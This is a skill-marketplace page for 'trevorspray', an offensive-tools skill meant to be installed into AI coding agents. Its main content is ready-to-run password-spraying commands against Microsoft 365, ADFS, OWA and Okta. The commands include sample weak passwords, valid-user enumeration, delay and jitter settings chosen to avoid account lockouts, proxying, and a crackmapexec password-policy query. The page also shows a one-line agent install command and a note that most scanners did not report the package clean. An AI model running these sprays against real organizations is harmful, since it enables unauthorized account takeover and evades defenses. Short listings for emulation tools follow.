offensive-tools/windows/trevorspray/SKILL.md
Auth/lab ref: Threaded password spraying tool targeting Microsoft 365, Azure AD, ADFS, and on-prem Active Directory.
npx skillsauth add aeondave/malskill trevorsprayInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Modular, threaded password spraying tool for Microsoft/Azure/AD targets.
# Spray M365 with a single password
trevorspray -u users.txt -p "Summer2024!" --module msol
# Spray on-prem AD via ADFS
trevorspray -u users.txt -p "Password123" --module adfs -t https://adfs.target.com
# Enumerate valid users only (no password)
trevorspray -u users.txt --module msol --enum
| Flag | Description |
|------|-------------|
| -u <file> | Username file (or single username) |
| -p <pass> | Password to spray |
| -P <file> | Password list (spray each, with delay) |
| --module <mod> | Target module |
| -t <url> | Target URL (for ADFS/OWA modules) |
| --threads <n> | Threads (default 1) |
| --delay <s> | Delay between requests (seconds) |
| --jitter <s> | Random jitter added to delay |
| --lockout-delay <s> | Wait after potential lockout |
| --enum | Username enumeration only |
| -o <file> | Output file |
| --reauth | Re-authenticate after delay (for expired tokens) |
| --proxy <url> | Proxy |
| Module | Target |
|--------|--------|
| msol | Microsoft Online / Office 365 |
| adfs | Active Directory Federation Services |
| owa | Outlook Web Access |
| lync | Skype for Business |
| okta | Okta SSO |
# Safe M365 spray — 1 attempt per 30 min to avoid lockouts
trevorspray -u users.txt -p "Spring2024!" --module msol --delay 1800 --jitter 60
# Enumerate valid M365 users (no lockout risk)
trevorspray -u users.txt --module msol --enum -o valid_users.txt
# ADFS spray with proxy
trevorspray -u users.txt -p "Password1" --module adfs -t https://sts.target.com \
--delay 60 --jitter 30 --proxy http://127.0.0.1:8080
# Multi-password spray with controlled delay
trevorspray -u valid_users.txt -P passwords.txt --module msol --delay 3600
crackmapexec smb <dc> --pass-pol--delay 3600 (1 hour) for environments with 1-attempt/hour lockout policies--enum first to reduce invalid user noise--delay 1800 --jitter 300| File | When to load |
|------|--------------|
| references/lockout-policy.md | Lockout policy detection, safe timing calculations, user enumeration techniques |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.